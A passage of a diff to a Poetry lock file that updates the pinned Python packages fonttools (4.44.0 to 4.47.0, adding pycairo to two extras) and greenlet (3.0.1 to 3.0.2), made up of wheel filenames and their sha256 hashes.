"sha256:a7aec7f5d14dfcd71fb3ebc299b3f000c21fdc4043079101777ed2042ba5b7c5"}, - {file = "fonttools-4.44.0-cp311-cp311-win_amd64.whl", hash = "sha256:518a945dbfe337744bfff31423c1430303b8813c5275dffb0f2577f0734a1189"}, - {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:59b6ad83cce067d10f4790c037a5904424f45bebb5e7be2eb2db90402f288267"}, - {file = "fonttools-4.44.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c2de1fb18198acd400c45ffe2aef5420c8d55fde903e91cba705596099550f3b"}, - {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84f308b7a8d28208d54315d11d35f9888d6d607673dd4d42d60b463682ee0400"}, - {file = "fonttools-4.44.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66bc6efd829382f7a7e6cf33c2fb32b13edc8a239eb15f32acbf197dce7a0165"}, - {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a8b99713d3a0d0e876b6aecfaada5e7dc9fe979fcd90ef9fa0ba1d9b9aed03f2"}, - {file = "fonttools-4.44.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:b63da598d9cbc52e2381f922da0e94d60c0429f92207bd3fb04d112fc82ea7cb"}, - {file = "fonttools-4.44.0-cp312-cp312-win32.whl", hash = "sha256:f611c97678604e302b725f71626edea113a5745a7fb557c958b39edb6add87d5"}, - {file = "fonttools-4.44.0-cp312-cp312-win_amd64.whl", hash = "sha256:58af428746fa73a2edcbf26aff33ac4ef3c11c8d75bb200eaea2f7e888d2de4e"}, - {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9ee8692e23028564c13d924004495f284df8ac016a19f17a87251210e1f1f928"}, - {file = "fonttools-4.44.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:dab3d00d27b1a79ae4d4a240e8ceea8af0ff049fd45f05adb4f860d93744110d"}, - {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53526668beccdb3409c6055a4ffe50987a7f05af6436fa55d61f5e7bd450219"}, - {file = "fonttools-4.44.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3da036b016c975c2d8c69005bdc4d5d16266f948a7fab950244e0f58301996a"}, - {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b99fe8ef4093f672d00841569d2d05691e50334d79f4d9c15c1265d76d5580d2"}, - {file = "fonttools-4.44.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6d16d9634ff1e5cea2cf4a8cbda9026f766e4b5f30b48f8180f0e99133d3abfc"}, - {file = "fonttools-4.44.0-cp38-cp38-win32.whl", hash = "sha256:3d29509f6e05e8d725db59c2d8c076223d793e4e35773040be6632a0349f2f97"}, - {file = "fonttools-4.44.0-cp38-cp38-win_amd64.whl", hash = "sha256:d4fa4f4bc8fd86579b8cdbe5e948f35d82c0eda0091c399d009b2a5a6b61c040"}, - {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c794de4086f06ae609b71ac944ec7deb09f34ecf73316fddc041087dd24bba39"}, - {file = "fonttools-4.44.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2db63941fee3122e31a21dd0f5b2138ce9906b661a85b63622421d3654a74ae2"}, - {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eb01c49c8aa035d5346f46630209923d4927ed15c2493db38d31da9f811eb70d"}, - {file = "fonttools-4.44.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46c79af80a835410874683b5779b6c1ec1d5a285e11c45b5193e79dd691eb111"}, - {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b6e6aa2d066f8dafd06d8d0799b4944b5d5a1f015dd52ac01bdf2895ebe169a0"}, - {file = "fonttools-4.44.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:63a3112f753baef8c6ac2f5f574bb9ac8001b86c8c0c0380039db47a7f512d20"}, - {file = "fonttools-4.44.0-cp39-cp39-win32.whl", hash = "sha256:54efed22b2799a85475e6840e907c402ba49892c614565dc770aa97a53621b2b"}, - {file = "fonttools-4.44.0-cp39-cp39-win_amd64.whl", hash = "sha256:2e91e19b583961979e2e5a701269d3cfc07418963bee717f8160b0a24332826b"}, - {file = "fonttools-4.44.0-py3-none-any.whl", hash = "sha256:b9beb0fa6ff3ea808ad4a6962d68ac0f140ddab080957b20d9e268e4d67fb335"}, - {file = "fonttools-4.44.0.tar.gz", hash = "sha256:4e90dd81b6e0d97ebfe52c0d12a17a9ef7f305d6bfbb93081265057d6092f252"}, + {file = "fonttools-4.47.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2d2404107626f97a221dc1a65b05396d2bb2ce38e435f64f26ed2369f68675d9"}, + {file = "fonttools-4.47.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c01f409be619a9a0f5590389e37ccb58b47264939f0e8d58bfa1f3ba07d22671"}, + {file = "fonttools-4.47.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d986b66ff722ef675b7ee22fbe5947a41f60a61a4da15579d5e276d897fbc7fa"}, + {file = "fonttools-4.47.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8acf6dd0434b211b3bd30d572d9e019831aae17a54016629fa8224783b22df8"}, + {file = "fonttools-4.47.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:495369c660e0c27233e3c572269cbe520f7f4978be675f990f4005937337d391"}, + {file = "fonttools-4.47.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c59227d7ba5b232281c26ae04fac2c73a79ad0e236bca5c44aae904a18f14faf"}, + {file = "fonttools-4.47.0-cp310-cp310-win32.whl", hash = "sha256:59a6c8b71a245800e923cb684a2dc0eac19c56493e2f896218fcf2571ed28984"}, + {file = "fonttools-4.47.0-cp310-cp310-win_amd64.whl", hash = "sha256:52c82df66201f3a90db438d9d7b337c7c98139de598d0728fb99dab9fd0495ca"}, + {file = "fonttools-4.47.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:854421e328d47d70aa5abceacbe8eef231961b162c71cbe7ff3f47e235e2e5c5"}, + {file = "fonttools-4.47.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:511482df31cfea9f697930f61520f6541185fa5eeba2fa760fe72e8eee5af88b"}, + {file = "fonttools-4.47.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce0e2c88c8c985b7b9a7efcd06511fb0a1fe3ddd9a6cd2895ef1dbf9059719d7"}, + {file = "fonttools-4.47.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e7a0a8848726956e9d9fb18c977a279013daadf0cbb6725d2015a6dd57527992"}, + {file = "fonttools-4.47.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e869da810ae35afb3019baa0d0306cdbab4760a54909c89ad8904fa629991812"}, + {file = "fonttools-4.47.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dd23848f877c3754f53a4903fb7a593ed100924f9b4bff7d5a4e2e8a7001ae11"}, + {file = "fonttools-4.47.0-cp311-cp311-win32.whl", hash = "sha256:bf1810635c00f7c45d93085611c995fc130009cec5abdc35b327156aa191f982"}, + {file = "fonttools-4.47.0-cp311-cp311-win_amd64.whl", hash = "sha256:61df4dee5d38ab65b26da8efd62d859a1eef7a34dcbc331299a28e24d04c59a7"}, + {file = "fonttools-4.47.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e3f4d61f3a8195eac784f1d0c16c0a3105382c1b9a74d99ac4ba421da39a8826"}, + {file = "fonttools-4.47.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:174995f7b057e799355b393e97f4f93ef1f2197cbfa945e988d49b2a09ecbce8"}, + {file = "fonttools-4.47.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea592e6a09b71cb7a7661dd93ac0b877a6228e2d677ebacbad0a4d118494c86d"}, + {file = "fonttools-4.47.0-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40bdbe90b33897d9cc4a39f8e415b0fcdeae4c40a99374b8a4982f127ff5c767"}, + {file = "fonttools-4.47.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:843509ae9b93db5aaf1a6302085e30bddc1111d31e11d724584818f5b698f500"}, + {file = "fonttools-4.47.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:9acfa1cdc479e0dde528b61423855913d949a7f7fe09e276228298fef4589540"}, + {file = "fonttools-4.47.0-cp312-cp312-win32.whl", hash = "sha256:66c92ec7f95fd9732550ebedefcd190a8d81beaa97e89d523a0d17198a8bda4d"}, + {file = "fonttools-4.47.0-cp312-cp312-win_amd64.whl", hash = "sha256:e8fa20748de55d0021f83754b371432dca0439e02847962fc4c42a0e444c2d78"}, + {file = "fonttools-4.47.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c75e19971209fbbce891ebfd1b10c37320a5a28e8d438861c21d35305aedb81c"}, + {file = "fonttools-4.47.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:e79f1a3970d25f692bbb8c8c2637e621a66c0d60c109ab48d4a160f50856deff"}, + {file = "fonttools-4.47.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:562681188c62c024fe2c611b32e08b8de2afa00c0c4e72bed47c47c318e16d5c"}, + {file = "fonttools-4.47.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a77a60315c33393b2bd29d538d1ef026060a63d3a49a9233b779261bad9c3f71"}, + {file = "fonttools-4.47.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b4fabb8cc9422efae1a925160083fdcbab8fdc96a8483441eb7457235df625bd"}, + {file = "fonttools-4.47.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2a78dba8c2a1e9d53a0fb5382979f024200dc86adc46a56cbb668a2249862fda"}, + {file = "fonttools-4.47.0-cp38-cp38-win32.whl", hash = "sha256:e6b968543fde4119231c12c2a953dcf83349590ca631ba8216a8edf9cd4d36a9"}, + {file = "fonttools-4.47.0-cp38-cp38-win_amd64.whl", hash = "sha256:4a9a51745c0439516d947480d4d884fa18bd1458e05b829e482b9269afa655bc"}, + {file = "fonttools-4.47.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:62d8ddb058b8e87018e5dc26f3258e2c30daad4c87262dfeb0e2617dd84750e6"}, + {file = "fonttools-4.47.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5dde0eab40faaa5476133123f6a622a1cc3ac9b7af45d65690870620323308b4"}, + {file = "fonttools-4.47.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4da089f6dfdb822293bde576916492cd708c37c2501c3651adde39804630538"}, + {file = "fonttools-4.47.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:253bb46bab970e8aae254cebf2ae3db98a4ef6bd034707aa68a239027d2b198d"}, + {file = "fonttools-4.47.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1193fb090061efa2f9e2d8d743ae9850c77b66746a3b32792324cdce65784154"}, + {file = "fonttools-4.47.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:084511482dd265bce6dca24c509894062f0117e4e6869384d853f46c0e6d43be"}, + {file = "fonttools-4.47.0-cp39-cp39-win32.whl", hash = "sha256:97620c4af36e4c849e52661492e31dc36916df12571cb900d16960ab8e92a980"}, + {file = "fonttools-4.47.0-cp39-cp39-win_amd64.whl", hash = "sha256:e77bdf52185bdaf63d39f3e1ac3212e6cfa3ab07d509b94557a8902ce9c13c82"}, + {file = "fonttools-4.47.0-py3-none-any.whl", hash = "sha256:d6477ba902dd2d7adda7f0fd3bfaeb92885d45993c9e1928c9f28fc3961415f7"}, + {file = "fonttools-4.47.0.tar.gz", hash = "sha256:ec13a10715eef0e031858c1c23bfaee6cba02b97558e4a7bfa089dba4a8c2ebf"}, ] [package.dependencies] @@ -844,9 +854,9 @@ brotlicffi = {version = ">=0.8.0", optional = true, markers = "platform_python_i zopfli = {version = ">=0.1.4", optional = true, markers = "extra == \"woff\""} [package.extras] -all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"] +all = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "fs (>=2.2.0,<3)", "lxml (>=4.0,<5)", "lz4 (>=1.7.4.2)", "matplotlib", "munkres", "pycairo", "scipy", "skia-pathops (>=0.5.0)", "sympy", "uharfbuzz (>=0.23.0)", "unicodedata2 (>=15.1.0)", "xattr", "zopfli (>=0.1.4)"] graphite = ["lz4 (>=1.7.4.2)"] -interpolatable = ["munkres", "scipy"] +interpolatable = ["munkres", "pycairo", "scipy"] lxml = ["lxml (>=4.0,<5)"] pathops = ["skia-pathops (>=0.5.0)"] plot = ["matplotlib"] @@ -859,68 +869,69 @@ woff = ["brotli (>=1.0.1)", "brotlicffi (>=0.8.0)", "zopfli (>=0.1.4)"] [[package]] name = "greenlet" -version = "3.0.1" +version = "3.0.2" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" files = [ - {file = "greenlet-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f89e21afe925fcfa655965ca8ea10f24773a1791400989ff32f467badfe4a064"}, - {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28e89e232c7593d33cac35425b58950789962011cc274aa43ef8865f2e11f46d"}, - {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8ba29306c5de7717b5761b9ea74f9c72b9e2b834e24aa984da99cbfc70157fd"}, - {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19bbdf1cce0346ef7341705d71e2ecf6f41a35c311137f29b8a2dc2341374565"}, - {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:599daf06ea59bfedbec564b1692b0166a0045f32b6f0933b0dd4df59a854caf2"}, - {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b641161c302efbb860ae6b081f406839a8b7d5573f20a455539823802c655f63"}, - {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d57e20ba591727da0c230ab2c3f200ac9d6d333860d85348816e1dca4cc4792e"}, - {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:5805e71e5b570d490938d55552f5a9e10f477c19400c38bf1d5190d760691846"}, - {file = "greenlet-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:52e93b28db27ae7d208748f45d2db8a7b6a380e0d703f099c949d0f0d80b70e9"}, - {file = "greenlet-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f7bfb769f7efa0eefcd039dd19d843a4fbfbac52f1878b1da2ed5793ec9b1a65"}, - {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91e6c7db42638dc45cf2e13c73be16bf83179f7859b07cfc139518941320be96"}, - {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1757936efea16e3f03db20efd0cd50a1c86b06734f9f7338a90c4ba85ec2ad5a"}, - {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19075157a10055759066854a973b3d1325d964d498a805bb68a1f9af4aaef8ec"}, - {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9d21aaa84557d64209af04ff48e0ad5e28c5cca67ce43444e939579d085da72"}, - {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2847e5d7beedb8d614186962c3d774d40d3374d580d2cbdab7f184580a39d234"}, - {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:97e7ac860d64e2dcba5c5944cfc8fa9ea185cd84061c623536154d5a89237884"}, - {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b2c02d2ad98116e914d4f3155ffc905fd0c025d901ead3f6ed07385e19122c94"}, - {file = "greenlet-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:22f79120a24aeeae2b4471c711dcf4f8c736a2bb2fabad2a67ac9a55ea72523c"}, - {file = "greenlet-3.0.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:100f78a29707ca1525ea47388cec8a049405147719f47ebf3895e7509c6446aa"}, - {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60d5772e8195f4e9ebf74046a9121bbb90090f6550f81d8956a05387ba139353"}, - {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:daa7197b43c707462f06d2c693ffdbb5991cbb8b80b5b984007de431493a319c"}, - {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea6b8aa9e08eea388c5f7a276fabb1d4b6b9d6e4ceb12cc477c3d352001768a9"}, - {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d11ebbd679e927593978aa44c10fc2092bc454b7d13fdc958d3e9d508aba7d0"}, - {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dbd4c177afb8a8d9ba348d925b0b67246147af806f0b104af4d24f144d461cd5"}, - {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:20107edf7c2c3644c67c12205dc60b1bb11d26b2610b276f97d666110d1b511d"}, - {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8bef097455dea90ffe855286926ae02d8faa335ed8e4067326257cb571fc1445"}, - {file = "greenlet-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:b2d3337dcfaa99698aa2377c81c9ca72fcd89c07e7eb62ece3f23a3fe89b2ce4"}, - {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80ac992f25d10aaebe1ee15df45ca0d7571d0f70b645c08ec68733fb7a020206"}, - {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:337322096d92808f76ad26061a8f5fccb22b0809bea39212cd6c406f6a7060d2"}, - {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b9934adbd0f6e476f0ecff3c94626529f344f57b38c9a541f87098710b18af0a"}, - {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc4d815b794fd8868c4d67602692c21bf5293a75e4b607bb92a11e821e2b859a"}, - {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:41bdeeb552d814bcd7fb52172b304898a35818107cc8778b5101423c9017b3de"}, - {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6e6061bf1e9565c29002e3c601cf68569c450be7fc3f7336671af7ddb4657166"}, - {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:fa24255ae3c0ab67e613556375a4341af04a084bd58764731972bcbc8baeba36"}, - {file = "greenlet-3.0.1-cp37-cp37m-win32.whl", hash = "sha256:b489c36d1327868d207002391f662a1d163bdc8daf10ab2e5f6e41b9b96de3b1"}, - {file = "greenlet-3.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:f33f3258aae89da191c6ebaa3bc517c6c4cbc9b9f689e5d8452f7aedbb913fa8"}, - {file = "greenlet-3.0.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:d2905ce1df400360463c772b55d8e2518d0e488a87cdea13dd2c71dcb2a1fa16"}, - {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a02d259510b3630f330c86557331a3b0e0c79dac3d166e449a39363beaae174"}, - {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55d62807f1c5a1682075c62436702aaba941daa316e9161e4b6ccebbbf38bda3"}, - {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3fcc780ae8edbb1d050d920ab44790201f027d59fdbd21362340a85c79066a74"}, - {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4eddd98afc726f8aee1948858aed9e6feeb1758889dfd869072d4465973f6bfd"}, - {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eabe7090db68c981fca689299c2d116400b553f4b713266b130cfc9e2aa9c5a9"}, - {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f2f6d303f3dee132b322a14cd8765287b8f86cdc10d2cb6a6fae234ea488888e"}, - {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d923ff276f1c1f9680d32832f8d6c040fe9306cbfb5d161b0911e9634be9ef0a"}, - {file = "greenlet-3.0.1-cp38-cp38-win32.whl", hash = "sha256:0b6f9f8ca7093fd4433472fd99b5650f8a26dcd8ba410e14094c1e44cd3ceddd"}, - {file = "greenlet-3.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:990066bff27c4fcf3b69382b86f4c99b3652bab2a7e685d968cd4d0cfc6f67c6"}, - {file = "greenlet-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ce85c43ae54845272f6f9cd8320d034d7a946e9773c693b27d620edec825e376"}, - {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89ee2e967bd7ff85d84a2de09df10e021c9b38c7d91dead95b406ed6350c6997"}, - {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87c8ceb0cf8a5a51b8008b643844b7f4a8264a2c13fcbcd8a8316161725383fe"}, - {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d6a8c9d4f8692917a3dc7eb25a6fb337bff86909febe2f793ec1928cd97bedfc"}, - {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fbc5b8f3dfe24784cee8ce0be3da2d8a79e46a276593db6868382d9c50d97b1"}, - {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85d2b77e7c9382f004b41d9c72c85537fac834fb141b0296942d52bf03fe4a3d"}, - {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:696d8e7d82398e810f2b3622b24e87906763b6ebfd90e361e88eb85b0e554dc8"}, - {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:329c5a2e5a0ee942f2992c5e3ff40be03e75f745f48847f118a3cfece7a28546"}, - {file = "greenlet-3.0.1-cp39-cp39-win32.whl", hash = "sha256:cf868e08690cb89360eebc73ba4be7fb461cfbc6168dd88e2fbbe6f31812cd57"}, - {file = "greenlet-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:ac4a39d1abae48184d420aa8e5e63efd1b75c8444dd95daa3e03f6c6310e9619"}, - {file = "greenlet-3.0.1.tar.gz", hash = "sha256:816bd9488a94cba78d93e1abb58000e8266fa9cc2aa9ccdd6eb0696acb24005b"}, + {file = "greenlet-3.0.2-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9acd8fd67c248b8537953cb3af8787c18a87c33d4dcf6830e410ee1f95a63fd4"}, + {file = "greenlet-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:339c0272a62fac7e602e4e6ec32a64ff9abadc638b72f17f6713556ed011d493"}, + {file = "greenlet-3.0.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:38878744926cec29b5cc3654ef47f3003f14bfbba7230e3c8492393fe29cc28b"}, + {file = "greenlet-3.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b3f0497db77cfd034f829678b28267eeeeaf2fc21b3f5041600f7617139e6773"}, + {file = "greenlet-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed1a8a08de7f68506a38f9a2ddb26bbd1480689e66d788fcd4b5f77e2d9ecfcc"}, + {file = "greenlet-3.0.2-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89a6f6ddcbef4000cda7e205c4c20d319488ff03db961d72d4e73519d2465309"}, + {file = "greenlet-3.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:c1f647fe5b94b51488b314c82fdda10a8756d650cee8d3cd29f657c6031bdf73"}, + {file = "greenlet-3.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9560c580c896030ff9c311c603aaf2282234643c90d1dec738a1d93e3e53cd51"}, + {file = "greenlet-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:2e9c5423046eec21f6651268cb674dfba97280701e04ef23d312776377313206"}, + {file = "greenlet-3.0.2-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:b1fd25dfc5879a82103b3d9e43fa952e3026c221996ff4d32a9c72052544835d"}, + {file = "greenlet-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cecfdc950dd25f25d6582952e58521bca749cf3eeb7a9bad69237024308c8196"}, + {file = "greenlet-3.0.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:edf7a1daba1f7c54326291a8cde58da86ab115b78c91d502be8744f0aa8e3ffa"}, + {file = "greenlet-3.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f4cf532bf3c58a862196b06947b1b5cc55503884f9b63bf18582a75228d9950e"}, + {file = "greenlet-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e79fb5a9fb2d0bd3b6573784f5e5adabc0b0566ad3180a028af99523ce8f6138"}, + {file = "greenlet-3.0.2-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:006c1028ac0cfcc4e772980cfe73f5476041c8c91d15d64f52482fc571149d46"}, + {file = "greenlet-3.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fefd5eb2c0b1adffdf2802ff7df45bfe65988b15f6b972706a0e55d451bffaea"}, + {file = "greenlet-3.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:0c0fdb8142742ee68e97c106eb81e7d3e883cc739d9c5f2b28bc38a7bafeb6d1"}, + {file = "greenlet-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:8f8d14a0a4e8c670fbce633d8b9a1ee175673a695475acd838e372966845f764"}, + {file = "greenlet-3.0.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:654b84c9527182036747938b81938f1d03fb8321377510bc1854a9370418ab66"}, + {file = "greenlet-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd5bc4fde0842ff2b9cf33382ad0b4db91c2582db836793d58d174c569637144"}, + {file = "greenlet-3.0.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c27b142a9080bdd5869a2fa7ebf407b3c0b24bd812db925de90e9afe3c417fd6"}, + {file = "greenlet-3.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0df7eed98ea23b20e9db64d46eb05671ba33147df9405330695bcd81a73bb0c9"}, + {file = 